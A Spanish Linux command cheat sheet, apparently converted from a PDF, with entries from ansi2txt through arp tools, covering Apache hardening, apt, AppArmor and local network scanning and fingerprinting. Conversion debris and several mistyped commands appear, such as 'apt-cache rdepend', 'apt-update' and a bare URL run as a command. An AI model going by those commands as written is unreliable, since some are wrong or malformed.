## ansi2txt

[colorized-logs]. Guardar logs a txt.

```
# ansi2txt </var/log/apache2/access.log >acces.txt
```

## ansiweather

Mostrar información actual de las condiciones meteorológicas, con soporte para colores ANSI y símbolos Unicode. Los datos meteorológicos provienen de OpenWeatherMap

```
$ ansiweather -l "Olot,ES" -u metric
forma básica
```

```
$ ansiweather -l "Olot,ES" -u metric -s true -f 5 -d true
mostrando pequeños simbolos, luz diurna y previsión para los próximos 5 días
```

```
$ ansiweather -l "Olot,ES" -u metric -s true -d true -w true -h true
```



## A

```
mostrando, viento, luz diurna, humedad, presión, hora amanecer, hora puesta
```

Para personalizar la ciudad, traducción y datos concretos para no tener que entrarlos cada vez, bajar el archivo <https://github.com/fcambus/ansiweather/blob/master/ansiweatherrc.example> y colocarlo como ~/.ansiweather.

```
$ cat .ansiweather

location:Olot,ES

units:metric

...

humidity_text:Humedad

pressure_text:Presión

sunrise_text:Salida

...
```

## antiword

Conversor/lector de archivos .doc

```
$ antiword archivo.doc | less
Visualiza un doc
```

```
$ antiword -p A4 archivo.doc > archivo.ps
Convierte a ps
```

```
$ antiword -t -w 25 archivo.doc > archivo.txt
Convierte a txt
```

Algunas opciones:

```
-p (Formato PostScript. 10x14, A3, A4, A5, B4, B5, ejecutivo, folio...)
-a (Formato Adobe. 10x14, A3, A4, A5, B4, B5, ejecutivo, folio...)
-t (Salida en forma de texto con formato: negrita, subrayado...)
-w (Anchura del texto)
```

## anytopnm

convierte la imagen de entrada, que puede estar en cualquiera de los aproximadamente 100 formatos gráficos, a formato PBM, PGM o PPM, dependiendo de la propia naturaleza de la imagen de entrada.

```
$ anytopnm imagen.jpeg > imagen
```

## aoss

[espeak, alsa-oss, mbrola]. Para que la consola hable.

```
$ aoss espeak --voices
ver las opciones idiomáticas
```

```
$ aoss espeak --voices=es
ver las variantes de un idioma
```

```
$ aoss espeak -v es+whisper -p30 linux,es,un,sistema,genial
```

```
$ aoss espeak -v es+f4 -p30 linux es un sistema genial
lo mismo entre comillas
```

## A

```
$ aoss espeak -v es+m2 -f archivo.txt
lee de un archivo txt
```

```
$ aoss espeak -v es -s50 -w archivo.wav "linux es un sistema genial"
Crear un wav
```

Opciones:

```
-v en (para que hable en inglés)
-s110 (variar velocidad de dicción. A número más alto, más velocidad)
-p90 (tesitura de voz. De 0 a 99. Valor alto: agudos. Por defecto 50)
-a50 (Volumen de salida. De 0 a 200. Por defecto 100)
-gl5 (Silencio entre palabras. Por defecto 10 milisegundo)
-v es+croak [m1,m2,m3,m4,m5,m6 y whisper] (opciones de voz masculinas)
-v es+f1 [f2,f3 yf4] (opciones de voz femeninas)
```

## apache2

Ajustes de apache2

```
# apache2ctl -M
Visualizar todos los modulos de apache
```

```
# apache2ctl -S
visualizar el estatus de apache
```

```
# apache2ctl -t
Comprobar que la configuracion de apache va bien
```

```
# apache2ctl -k graceful
Reiniciar sin cortar las conexiones de los usuarios
```

```
# apache2ctl -k start
arrancar el servidor. Equivale a /etc/init.d/apache2 start. Tambien acepta las opciones: stop,
restart
```

```
# apache2ctl configtest
Otra forma de comprobar la configuración de apache
```

```
# tail -f /var/log/apache2/access.log
muestra en tiempo real, accesos, ips...
```

```
# tail -f /var/log/apache2/error.log
muestra los errores de acceso
```

Ajustes

1.-

Ajustes mínimos:

```
# nano /etc/apache2/apache2.conf
```

Epecificar la carpeta web y el nombre del servidor web:

```
DocumentRoot /var/www
ServerName localhost
2.-
```

Permisos de la carpeta web:

```
# chmod -R 755 /var/www && find /var/www -type d -exec chmod 711 {} \;
```

3.-

mod\_evasive:

Descargar mod\_evasive

```
$ http://www.zdziarski.com/blog/wp-content/uploads/2010/02/mod_evasive_1.10.1.tar.gz
```

## A

Descomprimir y entrar en la carpeta:

```
$ tar -zxf mod_evasive_1.10.1.tar.gz
```

```
$ cd mod_evasive/
```

Puede que tengamos que instalar:

```
# apt-get install apache2-prefork-dev
```

Compilar el módulo:

```
# apxs2 -i -a -c mod_evasive20.c
```

Para confirmar que se ha habilitado lo podemos buscar en:

```
$ ls /usr/lib/apache2/modules/ | grep evasive
```

mod\_evasive20.so

Reiniciar apache

```
# /etc/init.d/apache2 restart
```

Para testear su efectividad:

```
# perl test.pl
```

Que viene en el mismo paquete descargado. El resultado correcto:

```
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 2...
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbi ...
```

Los parámetros por defecto son suficientes en condiciones "normales". Si se precisa afinar más su configuración, pueden añadirse las siguientes líneas al archivo /etc/apache2/httpd.conf:

```
<IfModule mod_evasive20.c>
DOSHHashTableSize    3097
DOSPageCount          1
DOSSiteCount          50
DOSPageInterval       1
DOSSiteInterval       1
DOSBlockingPeriod     600
</IfModule>
```

Que significa que si una página o cualquier objeto de ella, recibe 50 peticiones por segundo cada segundo la IP será bloqueada durante 600 segundos.

4.-

Para que apache no informe del sistema operativo y versión de apache

```
# nano /etc/apache2/apache2.conf
```

Añadir las líneas:

```
ServerTokens ProductOnly
ServerSignature Off
```

5.-

Ocultar un archivo de la carpeta webapachetop

Comando top [ver] específico para servidores apache y lanzado al estilo de tail [ver]

```
# apachetop -f /var/log/apache2/access.log
Monitorear en tiempo real
```

```
# nano /etc/apache2/apache2.conf
```

Y colocar en su interior:

## A

```
<Files archivo_a_ocultar>
order allow,deny
deny from all
</Files>

6.-
```

Ver peticiones al servidor apache:

```
# cat /var/log/apache2/access.log | awk '{print($1)}' | sort | uniq -c | sort

# grep "resuming normal operations" /var/log/apache2/error.log | cut -d'[' -f2 | sed -e 's/]//'
```

La última vez que fué reiniciado

```
# ls -od --time-style=+%d-%m-%Y /proc/$(ps axo pid,cmd | grep apache | head -n 1 | sed -e 's/^
*//' | cut -d' ' -f1) | cut -d' ' -f 5

otra forma

# (cat /var/log/apache2/*.log; zcat /var/log/apache2/*.gz) | grep "resuming normal operations" |
cut -d'[' -f2 | sed -e 's/]//'
```

Todas las veces que fue reiniciado

```
# (cat /var/log/apache2/*.log; zcat /var/log/apache2/*.gz) | grep "resuming normal operations" |
wc -l

Cuantas veces se ha reiniciado
```

7.-

Crear un directorio web privado:

```
# nano /etc/apache2/apache2.conf
```

Agregar el siguiente contenido:

```
<Directory /var/www/privado>
    AllowOverride AuthConfig
</Directory>

Reiniciar apache:
```

```
# /etc/init.d/apache2 restart
```

Crear el archivo .htaccess en el interior del directorio privado:

```
$ nano /var/www/privado/.htaccess
```

Agregar el contenido:

```
AuthName "Acceso restringido"
AuthUserFile /var/www/.htpasswd
AuthType Basic
require valid-user

Crear el archivo para el usuario con privilegios:
```

```
# htpasswd -c /var/www/.htpasswd juan
```

Entrar la contraseña y confirmación.

Para añadir más usuario con privilegios, sin el parámetro -c:

```
# htpasswd /var/www/.htpasswd pedro
```

8.-

Para que las aplicaciones no aparezcan con caracteres extraños y simbolos raros:

```
# nano /etc/apache2/conf.d/carhset
```

Y añadir las siguientes lineas:

```
AddDefaultCharset UTF-8
AddDefaultCharset latin1
```

## apache2ctl

[=apachectl] Controlar el funcionamiento y el estado del demonio apache.

```
$ apache2ctl start
```

Inicia el demonio. Da error si ya se está ejecutando

```
$ apache2ctl stop
```

lño Detiene

```
$ apache2ctl restart
```

lo reinicia. Si no se está ejecutando, se inicia. Este comando verifica automáticamente los archivos de configuración para detectar los errores más obvios

```
$ apache2ctl fullstatus
```

muestra un informe de estado completo

```
$ apache2ctl status
```

muestra un breve informe de estado. Similar a la opción fullstatus, excepto que se omite la lista de solicitudes que se están atendiendo actualmente

## apachetop

Comando top [ver] específico para servidores apache y lanzado al estilo de tail [ver]

```
# apachetop -r 10 -f /var/log/apache2/access.log
```

Monitorear en tiempo real y refrescar datos cada 10 segundos

## apariencia

Tener el escritorio root y de usuario con la misma apariencia . Crear enlaces entre las carpetas que contienen la apariencia de entorno del usuario y las de root:

```
$ sudo ln -s /home/usuario/.themes /root/.themes
```

```
$ sudo ln -s /home/usuario/.icons /root/.icons
```

```
$ sudo ln -s /home/usuario/.fonts /root/.fonts
```

## apertium

[apertium-en-es...] Traductor de archivos de texto a los legunajes especificados.

```
$ apertium en-es -u -a file_ingles.txt
```

Marando las palabras desconocidas con \* y las ambiguas con =

```
$ apertium en-es text_ingles.txt > traducido.txt
```

## apf

Cortafuegos. Todos los parámetros se configuran en el archivo conf.apf.

```
# nano /etc/apf/conf.apf
```

La configuración básica:

```
DEVEL_MODE="0" # 1 en pruebas, 0 en producción
IFACE_IN="eth1" # Interfaces de red
IFACE_OUT="eth1" # interfaces de red
IFACE_TRUSTED="eth0" # Si existen interfaces locales
IG_TCP_CPORTS="21,22,80,110" # Puertos permitidos
IG_UDP_CPORTS=""IG_UDP_CPORTS="" # Puertos UDP permitidos [si existen]
IG_ICMP_TYPES="3,5,11" 3 Puertos ICMP permitidos [si existen]
Otros archivos importantes:
```

## A

---

/etc/apf/deny\_host.rules (ips, rangos, etc denegados)

/etc/apf/allow\_host.rules (ips, rangos, etc permitidos)

/var/log/apf\_log (Archivo de logs)

```
# apf -s
arrancar
```

```
# apf -r
reiniciar
```

```
# apf -f
parar
```

## apg

Generador de contraseñas aleatorias.

```
$ apg -a 1 -n 8 -m 10
Incluyendo signos, 8 propuestas de 10 caracteres
```

Algunas opciones:

```
-a 0 (sin signos especiales [por defecto])
-m 10 (número mínimo de caracteres [8 por defecto])
-x 12 (número máximo de caracteres [10 por defecto])
-M S (Incluyendo un signo)
-M N (Incluyendo un número)
-M C (Incluyendo mayúsculas)
-E aeiou9 (Excluyendo letras y números mencionados)
```

## aplay

Relacionado con ALSA

```
# aplay /usr/share/sounds/alsa/Front_Center.wav
prueba de alsa
```

```
# aplaymidi -l
lista los puertos midi
```

```
$ aplay -l
saber el modelo de la tarjeta de sonido
```

```
# aplaymidi -p 65 archivo.mid
reproduce el mid sin timidity
```

```
# aplay -fdat /dev/sda
Escuchar el sonido del disco duro
```

## aplaymidi

Utilidad de línea de comandos que reproduce los archivos MIDI especificados en uno o más puertos del secuenciador ALSA

```
$ aplaymidi -l
imprime una lista de posibles puertos de salida
```

```
$ aplaymidi -p 14:0 archivo.mid
```

## apparix

Permite marcar directorios y luego saltar a ellos usando la marca. Por defecto apparix actúa como sustituto de cd y puede ser usado de la misma manera.

```
$ apparix
```

```
[apparix] created bookmark file /home/pep/.apparixrc
```

```
[apparix] created expansion file /home/pep/.apparixexpand
```

```
$ apparix --shell-examples
```

```
muestra el código que ha entrarse en .bashrc para que los atajos "to" y "bm" tengan efecto
```

Ejemplo:

```
$ cd Documentos/bash
```

```
[~/Documentos/bash]$ apparix --add-mark bash (añadir directorio un marcador "bash" en bookmarks.)
```

```
$ apparix -l
```

```
ver listados de los directorios guardados para un acceso rápido
```

```
$ apparix -u 3
```

```
eliminar del listado el número 3
```

## apparmor

Módulo de seguridad del kernel. Los perfiles estan: /etc/apparmor.d/

```
# apparmor_status
```

```
Ver estado
```

```
# aa-complain /etc/apparmor.d/*
```

```
Activar todos los perfiles en modo complain, es decir, que no se bloquea ninguna aplicación y sólo registra sus eventos
```

```
# aa-complain /usr/bin/firefox
```

```
Lo mismo activandolo para una aplicación
```

```
# aa-genprof /usr/bin/firefox
```

```
Crear un perfil para una aplicación. Preguntará unos datos. Sin cerrar la terminal, abrir firefox y usar la aplicación como normalmente se usa. Al rato, volver a la terminal y pulsar "S". Se mostrará todos los ficheros a los cuales firefox ha accedido solicitando qué acción llevar a cabo
```

```
# cat /etc/apparmor.d/usr.lib.firefox-3.0.10.firefox.sh
```

```
Consultar el perfil creado. Substituir versión por la correcta
```

```
# apparmor_parser -R < /etc/apparmor.d/usr.lib.firefox-3.0.10.firefox.sh
```

```
Desactivar restricciones a un perfil
```

## apport

Herramienta encargada de capturar cualquier error que se produzca en una aplicación y recopilar información sobre el estado del sistema operativo en el momento de producirse el fallo. Para desactivarlo:

```
# nano /etc/default/apport
```

```
enable=0
```

También:

```
# service apport start force_start=0
```

Para activarlo substituir el 0 por un 1

## appres

El programa appres imprime los recursos vistos por una aplicación (o subjerarquía de una aplicación) con los nombres de clase e instancia especificados. Puede para determinar qué recursos cargará un programa concreto. Por ejemplo

```
$ appres tty
```

```
$ appres XTerm.VT100 xterm.vt100 -1
```

```
listará los recursos de los widgets de la jerarquía xman topBox específicos de la jerarquía [-1]
```

## apropos

Busca utilidades relacionadas con lo especificado.

```
$ apropos jpeg
```

```
$ apropos copy files
```

```
busca comandos relacionados
```

## apt

Aplicación que unifica las opciones y parámetros de apt-cache y apt-get. También cuenta con una barra de progreso. Tiene casi los mismo parámetros que el comando apt-get.

```
# apt list
```

```
Muestra todos los paquetes disponibles
```

```
# apt list --installed
```

```
Muestra todos los paquetes instalados
```

```
# apt list --upgradable
```

```
Muestra todos los paquetes actualizables
```

```
$ apt search paquete
```

```
Buscar un paquete
```

```
# apt update
```

```
Actualiza el listado de paquetes
```

```
# apt upgrade
```

```
Actualiza todos los paquetes del sistema. No elimina ninguno
```

```
# apt dist-upgrade
```

```
Lo mismo pero si que elimina de forma inteligente
```

```
# apt install paquete
```

```
Instala un paquete
```

```
# apt install -f
```

```
Intenta corregir problemas como paquetes rotos y otros problemas de dependencias
```

```
# apt install -f -o Dpkg::Options::="--force-overwrite"
```

```
Lo mismo que el anterior pero le indicamos a dpkg que sobrescriba ficheros que más de un paquete pretenden instalar
```

```
# apt remove paquete
```

```
Suprime un paquete
```

```
# apt edit-sources
```

```
Edita el sources.list
```

```
# apt show nano
```

```
ver detalles de un paquete
```



## apt-cdrom

Agregar un cd-rom archivo sources.list.

```
# apt-cdrom -d /home/user/mycdrom add
```

## apt-cache

Empleado para buscar en la base de datos provista por la lista de fuentes [dpkg solo busca los contenidos de los paquetes instalados].

```
# apt-cache search paquete
Busca en la cache paquete
```

```
# apt-cache show paquete
Muestra la descripción completa del paquete
```

```
# apt-cache showpkg paquete
Muestra su relación con otros paquetes
```

```
# apt-cache depends paquete
Muestra las dependencias del paquete
```

```
# apt-cache rdepend paquete
Muestra dependencias inversas del paquete
```

```
# apt-cache policy paquete
Ver versiones de paquetes y la versión instalada
```

## apt-clone

Este paquete clona/restaura los paquetes instalados en un sistema por apt con el sources-list y las claves de los repositorios.

```
# apt-clone clone paquetes
los guarda en el archivo paquetes
```

```
# apt-clone info paquetes
mostrar información sobre el archivo creado
```

```
# apt-clone restore paquetes
restaurar los paquetes
```

## apt-config

Programa interno utilizado por varias partes de la suite APT para proporcionar una configurabilidad consistente. Accede al archivo de configuración principal /etc/apt/apt.conf de forma que sea fácil de usar por aplicaciones con scripts.

```
# apt-config dump
muestra la configuración establecida
```

## apt-doc

Muestra información sobre el comando apt. Colocar en el navegador: `usr/share/doc/apt-doc/guide.es.html`

## apt-extracttemplates

[apt-utils]. Toma un paquete Debian como entrada y escribirá en un directorio temporal o en el especificado con `-t`, los scripts de configuración y archivos de plantilla asociados. Para cada paquete aprobado que contenga scripts de configuración y plantillas, se generará una línea de salida en el formato: `package, version, template-file y config-script`.

```
$ apt-extracttemplates cups_2.2.1-8+deb9u5_amd64.deb
```

```
cups 2.2.10-6+deb10u3 /tmp/user/1000/cups.template.3UbTXr /tmp/user/1000/cups.config.HtrJO2
```

## apt-fast

[axel o aria]. Paquete que incrementa la velocidad de descarga de paquetes respecto de `apt-get` mediante el uso de `axel [ver]` o `aria`. Descargar el scrpt de <http://www.mattparnell.com/linux/apt-fast/apt-fast.sh> o via github de <https://github.com/ilikenwf/apt-fast>. Para reconfigurar el paquete:

```
# dpkg-reconfigure apt-fast
```

Donde se podrá apreciar su velocidad es principalmente con los argumentos "update", "upgrade" y "dist-upgrade".

```
# apt-fast update
```

## apt-file

Buscar un paquete que contiene un fichero o ver el contenido de un paquete. Una vez instalado, para realizar la caché, lanzar en primer lugar:

```
# apt-file update
```

```
# apt-file search ifconfig
```

```
# apt-file list ifconfig
```

## apt-ftparchive

Genera ficheros de índice de paquetes .deb

```
$ apt-ftparchive contents /var/cache/apt/archives/python*
genera un fichero de contenidos a partir del directorio especificado
```

```
$ apt-ftparchive packages directorio | gzip > Packages.gz
crear un fichero nPackagesz comprimido para un directorio que contenga paquetes deb
```

## apt-get

[aptitude y apt-cache]. Gestor de programario de distribuciones Debian. Listtado del historial de instalaciones y desinstalaciones en `/var/log/apt/history.log`

```
# apt-get update
Actualiza la lista de paquetes
```

```
# apt-get upgrade
Actualiza todos los paquetes instalados
```

```
# apt-get upgrade paquete
Solo actualiza paquete
```

```
# apt-get dist-upgrade
Actualiza la distribución
```

```
# apt-get install paquete
Instala paquetes con resolución de depencias
```

```
# apt-get install paquete -y
instalar paquete sin pedir confirmación
```

```
# apt-get install --reinstall paquete
Reinstala un paquete
```

```
# apt-get install --only-upgrade firefox-esr
actualiza un solo paquete
```

```
# apt-get autoremove
Borra paquetes huérfanos
```

```
# apt-get download paquete
descarga el deb del paquete especificado
```

```
# apt-get remove paquete
Elimina un paquete
```

```
# apt-get remove --purge paquete
Desinstala con archivos de configuración
```

```
# apt-get remove $(debtorphan)
Elimina huérfanos. lanzar varias veces
```

```
# apt-get clean
Elimina caché
```

```
# apt-get autoclean
lo mismo de versiones antiguas de paquetes
```

```
# apt-get -f install
sin especificar paquete, para reparar la aplicación
```

```
# apt-get -s install paquete
simula la instalación
```

```
# apt-get --compile source paquete
baja las fuentes, compila y crear un .deb
```

```
# apt-get check
Verifica dependencias rotas
```

```
# apt-get build-dep paquete
instalar las dependencias necesarias para poder compilar un paquete fuente
```

```
# apt-get install network-manager=0.9.1.90-0ubuntu3
version concreta
```

```
# apt-mark hold network-manager
Mantener una version concreta
```

```
# apt-get source paquete
buscar un paquete fuente para ser compilado
```

```
# apt-rdepends paquete
muestra todas las dependencias
```

```
# apt-rdepends -b paquete
muestra las dependencias directas
```

```
# apt-rdepends -f paquete
muestra version y estado del paquete
```

```
# apt-get --yes install paquete
Responder si a preguntas de la instalación
```

```
# aptitude search ~ilinux-image
Lista los kernels instalados
```

```
# aptitude search ~i -F %p
Lista los paquetes instalados
```

## A

```
# apt-setup
Crea un sources.list optimizado
```

```
# add-apt-repository ppa:repositorio
añadir un repositorio ppa
```

```
# ppa-purge ppa:repositorio
suprimirlo. Precisa el script ppa-purge)
```

```
# apt-get install --no-install-recommends paquete
No instalar los paquetes recomendados que no sean dependencias fuertes
```

Algunos archivos relacionados:

```
/etc/apt/sources.list (Fichero de repositorios.)
/var/cache/apt/archives (Caché de los paquetes .deb instalados)
/var/log/apt/term.log (Archivo de logs de la aplicación)
1.-
```

Para resolver problemas con `/var/lib/apt/lists/*` lanzar:

```
# rm /var/lib/apt/lists/* -vf
```

Y luego:

```
# apt-get update
```

2.-

```
# apt-get -o "Acquire::Check-Valid-Until=false" update
Saltarse el validador que verifica la fecha de caducidad del archivo Release de debian [Error
Release file expired, ignoring file]
```

3.-

Añadir repositorios de distintas ramas en debian.

Incluir en el `sources.list` los repositorios de las distintas ramas:

```
# nano sources.list
```

```
## Debian Testing
deb http://ftp.de.debian.org/debian/ testing main contrib non-free
deb-src http://ftp.de.debian.org/debian/ testing main contrib non-free
## seguridad Debian Testing
deb http://security.debian.org/ testing/updates main contrib non-free
deb-src http://security.debian.org/ testing/updates main contrib non-free
## Debian Unstable
deb http://ftp.us.debian.org/debian unstable main non-free contrib
## Debian experimental
deb http://ftp.fr.debian.org/debian experimental main non-free contrib
Editar o crear el fichero:
```

```
# nano /etc/apt/apt.conf
```

Con el siguiente contenido:

```
APT::Default-Release testing;
APT::Cache-Limit 55000000;
Apt::Get::Purge;
APT::Clean-Installed;
APT::Get::Fix-Broken;
APT::Get::Fix-Missing;
APT::Get::Show-Upgraded true;
Con el que establecemos las siguientes características: Definir Debian Testing como rama principal
, Limitar la cache utilizada en el proceso de actualización, Borrar archivos de configuración de
los paquetes desinstalados y Arreglar el sistema en caso de detectar dependencias rotas.
```

Editar el archivo preferences:

```
# nano /etc/apt/preferences
```

Con el contenido:

```
Package: *
Pin: release a=testing
Pin-Priority: 900
Package: *
Pin: release a=unstable
Pin-Priority: 600
Package: *
Pin: release a=experimental
Pin-Priority: 50
```

Que tiene por significado que si el paquete existe en la rama testing se instalará este, en caso contrario, si existe en unstable se instalará el unstable y sólo si no existe en las otras dos, se instalará de la versión experimental.

También podemos especificarlo en el comando:

```
# apt-get install libreoffice/unstable
Firefox se instalará de la rma unstable, pero las dependencias, se buscarán en primer lugar en la rama testing
```

```
# apt-get -t unstable install firefox
Tanto firefox como las dependencias se instalarás de la rama unstable
```

4.-

Instalación de aplicaciones sin conexión a internet. Ha de instalarse en dos equipos: el que tiene conexión y en el que no la tiene. Esta aplicación tiene muchas limitaciones ya que no instala dependencias por lo que puede usarse en pocos casos.

En el equipo sin conexión:

```
# apt-offline set apt.sig --update --upgrade --install-packages PAQUETE
genera el archivo apt.sig que ha de trasladarse al equipo que tiene conexión
```

En el equipo conexión:

```
# apt-offline get apt.sig --threads 5 --bundle offline.zip
Crea el archivo offline.zip que se traslada al equipo sin conexión
```

Otra vez en el equipo sin conexión:

```
# apt-offline install offline.zip
# apt-get install PAQUETE
Instalación del paquete
```

5.-

Instalar aplicaciones de arquitectura 386 en equipos amd64:

```
# nano /etc/apt/sources.list
```

Añadir las líneas:

```
deb http://ftp.debian.org/debian/ wheezy-updates main contrib
deb http://http.us.debian.org/debian/ wheezy contrib non-free main
```

```
# apt-get update
# apt-get upgrade
```

Activar multiarquitectura:

```
# dpkg --add-architecture i386
# apt-get update
```

Instalar librerías base para los sistemas de 32 bits:

```
# apt-get install libc6:i386
```

6.-

Configurar apt para que no descargue traducciones:

```
# nano /etc/apt/apt.conf.d/99Translations
```

Con el siguiente contenido:

```
Acquire::Languages "none";
```

## apt-key

Herramienta para la gestión de un anillo de claves de repositorios seguros. El anillo de claves se guarda en el archivo `/etc/apt/trusted.gpg`

```
# apt-key list
listar todas las claves del anillo
```

```
# apt-key net-update
Actualizar utilizando la red
```

```
# apt-key exportall
Exportar todas las claves
```

```
# apt-key export xxxxxx
Exportar una clave
```

```
# apt-key del xxxxxx
Eliminar una clave
```

## apt-listbugs

Herramienta que muestra errores críticos de los paquetes nombrados.

```
$ apt-listbugs list chromium
```

## apt-listchanges

Herramienta que muestra qué ha cambiado en una nueva versión de un paquete Debian en comparación con la versión instalada en el sistema.

```
$ apt-listchanges -a paquete.deb
```

## apt-listdifferences

Mostrará las diferencias o parches, entre las fuentes de todos los paquetes a medida que se actualizan. Esto hace posible revisar fácilmente los cambios de origen que se han incluido en las nuevas actualizaciones de paquetes Debian.

```
$ apt-listdifferences --initialize
descargar la base de datos en función de los paquetes instalados
```

```
$ apt-listdifferences --apt
mostrar lista de paquetes, uno por línea, por pantalla
```

```
$ apt-listdifferences firefox-esr
de la aplicación especificada
```

## apt-mark

Marca o desmarca un paquete como instalado automáticamente como dependencia por la instalación de otro. ejemplo, marcar un paquete como de instalación automática o manual o cambiar las selecciones de `dpkg` como retener, instalar, desinstalar y purgar que son respetadas por `apt-get`, `dselect-upgrade` o `aptitude`.

```
# apt-mark hold openssl
para que no se actualice el paquete openssl
```

```
# apt-mark unhold openssl
disponible para actualizar
```

```
# apt-mark showhold
ver todos los paquetes que no se actualizarán
```

```
# apt-mark manual ruby
marcar ruby para instalación manual. substituir "manual" por "auto" para volver a instalación automática
```

```
# apt-mark showremove
los marcados para eliminar
```

```
# apt-mark showmanual
los marcados para instalar manualmente
```

## apt-mirror

[apache2]. Configurar un repositorio local. Seguidamente se muestra el proceso:

```
$ mkdir repo
Crear el directorio
```

```
# nano /etc/apt/mirror.list
```

Añadir al principio la línea del directorio:

```
set base_path /home/USER/repo
```

```
# apt-mirror
Recargar/actualizar el repositorio
```

Crear el enlace para que esté disponible via web:

```
$ cd /var/www/html
```

```
$ ln -s /home/USER/distro/mirror/us.archive.ubuntu.com/ubuntu ubuntu
```

Modificar el sources.list:

```
# nano /etc/apt/sources.list
```

Añadir la líneas:

```
deb http://192.168.1.2/ubuntu trusty universe
deb http://192.168.1.2/ubuntu trusty main restricted
deb http://192.168.1.2/ubuntu trusty-updates main restricted
```

```
# apt-update
Actualizar el cliente
```

## apt-show-source

Muestra información del paquete fuente.

```
# apt-show-source
de todos los instalados
```

```
# apt-show-source -p vim
del especificado
```

## apt-show-versions

Analiza las versiones instaladas de paquetes y si existen actualizaciones.

```
$ apt-show-versions
mostrará la versión de todos los paquetes instalados
```

```
$ apt-show-versions thunderbird
La version instalada de un paquete
```

```
$ apt-show-versions -a thunderbird
Todas las versiones disponibles de un paquete
```

```
$ apt-show-versions -u
sólo mostrar los paquetes que tienen nueva version
```

## apt-sortpkgs

Herramienta para ordenar los ficheros del índice de paquetes.

```
# apt-sortpkgs -s /var/lib/dpkg/available
orden por el campo de índice de fuentes
```

## ar

Crea, modifica y extrae archivos

```
$ ar crv libfoo.a bill.o fred.o
Añade librerías objeto a un archivo de librería estática
```

```
$ ar vx paquete.deb
extrae un .deb convirtiéndolo en un tar.gz
```

```
$ ar x finalterm_0.1-0~64~saucyl_amd64.deb
Extraer los 3 archivos de un paquete deb
```

```
$ ar p finalterm_0.1-0~64~saucyl_amd64.deb data.tar.gz | tar xz
Extraer y descomprimir uno de los archivos de un paquete deb
```

## arch

Muestra la arquitectura del pc.

```
$ arch
```

## arch-test

Detectar las arquitecturas soportadas por un pc.

```
$ arch-test
```

## archalien

Convierte paquetes .deb en paquetes Archlinux. Descarga de <<https://github.com/Asher256/archalien>>

```
$ python archalien.py arandr_0.1.9-1_all.deb
```

El resultado es un paquete con el nombre arandr-0.1.9-1.pkg.tar.gz que puede instalarse en Arch Linux con:

```
# pacman -U arandr-0.1.9-1.pkg.tar.gz
```

## arecord

[alsa-utils]. Grabación de audio. Graba directamente de la tarjeta de sonido sin tener conectado los altavoces ni micro.

```
$ arecord -l
Listado de dispositivos
```

```
$ arecord archivo.mp3
Modo básico
```

```
$ arecord -t wav -f cd -d 15 archivo.wav
Tipo wav, formato cd, duración de la grabación 15 segundos y nombre con el que se guardará
```



## arecordmidi

[alsa-utils]. Graba un archivo MIDI estándar desde uno o más puertos del secuenciador ALSA.

```
$ arecordmidi -l
lista de posibles puertos
```

```
$ arecordmidi -p 14:0 archivo.mid
```

## argus

Conjunto de herramientas cliente-servidor, para el análisis de tráfico de red.

```
# argus-i eth0 -w salida.arg
capturar en tiempo real todo el trafico de red
```

```
# ra -L0 -nr salida.arg
Leer el fichero generado
```

```
# argus -mJRU 1024 -r captura.pcap -w salida.arg
convertir un fichero pcap [wireshark, tshark, tcpdump...] a formato argus
```

```
# ra -a -c -L0 -nr skipe.arg - host IP
Filtrar una sola IP
```

## arithmetic

[bsdgames]. Resolución de problemas matemáticos muy simples.

```
$ arithmetic -o +- -r 30
Usando sumas y restas y del 0 al 30
```

```
$ arithmetic -o x/
con multiplicaciones y divisiones del 0 al 10 [por defecto]
```

## arj

Compresor/escompresor de archivos.

```
$ arj -a archivo.arj ficheros
Comprimir
```

```
$ arj -x archivo.arj
Descomprimir. Tambien unarj archivo.arj
```

```
$ arj -v archivo.arj
Ver contenido
```

## arm

[tor-arm]. Herramienta que permite monitorizar el comportamiento y los eventos que usan la red tor [tor-browser, vidalia...]. Funciona de forma similar al comando top. Precisa tener al archivo ~/.arm/armrc un ejemplo del cual puede descargarse de <<https://raw.githubusercontent.com/katmagic/arm/master/armrc.sample>> y para que no salga la nota "Connection refused. Is the ControlPort enabled?" habilitar dicho puerto en:

```
# nano /etc/tor/torrc
```

Descomentado la linea:

```
ControlPort 9051
Con el puerto usado por arm por defecto y reiniciar la red tor.
```

## A

```
# /etc/init.d/tor restart
```

```
# arm
arrancar la aplicación
```

Las teclas de control se muestran en la parte superior y son:

```
m (Muestra el menú)
p (Pausar)
h (Ayuda)
q (Salir)
flechas derecha e izquierda (Va mostrando los distintos informes)
En el archivo de configuración ya está especificado el puerto, el host y la ubicación del archivo
por defecto, pero si ha de especificarse:
```

```
# arm -c /home/usuario/.arm/armrc -i 127.0.0.1:9051
```

## arp

Supervisa la tabla ip y MAC.

```
# arp -n
```

```
# arp -s IP MAC
establecer una MAC estática a una IP
```

```
# arp -d IP
eliminar una ip de la entrada arp
```

## arp-fingerprint

Intenta determinar el sistema operativo.

```
# arp-fingerprint -o "-I eth1" 192.168.1.10
```

```
# arp-fingerprint -v 192.168.1.5
Mostrando más información
```

## arp-scan

Escanea en una red las direcciones IP y las MAC.

```
# arp-scan -I eth0 192.168.2.0/16
```

```
# arp-scan -l -I eth1
```

Nota.- En el primer ejemplo es una i mayúscula. En el segundo la primera opción la ele  
minúscula y la segunda la i mayúscula

## arpalert

Prevenir conexiones no autorizadas en la red local. Colocar las MAC, las ips de las máquinas autorizadas y la interfice:

```
# /etc/arpalert/maclist.allow
```

```
F4:CE:26:43:E8:C9      192.168.1.1    eth0
00:21:97:23:9e:91      192.168.1.14   eth0
19:F0:8G:66:10:E5      192.168.1.26   eth0
Reiniciar el servicio:
```

```
# /etc/init.d/arpalert restart
```

## arping

Enviar solicitud ARP a una ip de la red.

```
# arping -I eth0 IP
# arping -D -I eth1 192.168.1.15; echo $?
Detectar ips duplicadas
```

## arpon

Herramienta para securizar ARP en nuestra red, un demonio que ha de instalarse en cada equipo que interviene en la conexión. Previamente especificar en el archivo de configuración las ips y su correspondiente MAC:

```
# nano /etc/arpon.conf
192.168.1.1 32:F4:66:C8:41:12
192.168.1.130 00:21:97:23:9e:91
192.168.1.25 F4:CE:26:43:E8:C9
Colocando la ip de las máquinas y su MAC y la ip y MAC del router. La interface la colocamos en:
```

```
# nano /etc/default/arpon
```

Y añadir:

```
INTERFACES="enp1s0"
O la que proceda (eth0, eth1...)
```

```
# tail -f /var/log/arpon/arpon.log
ver la actividad de la herramienta
```

## arptables

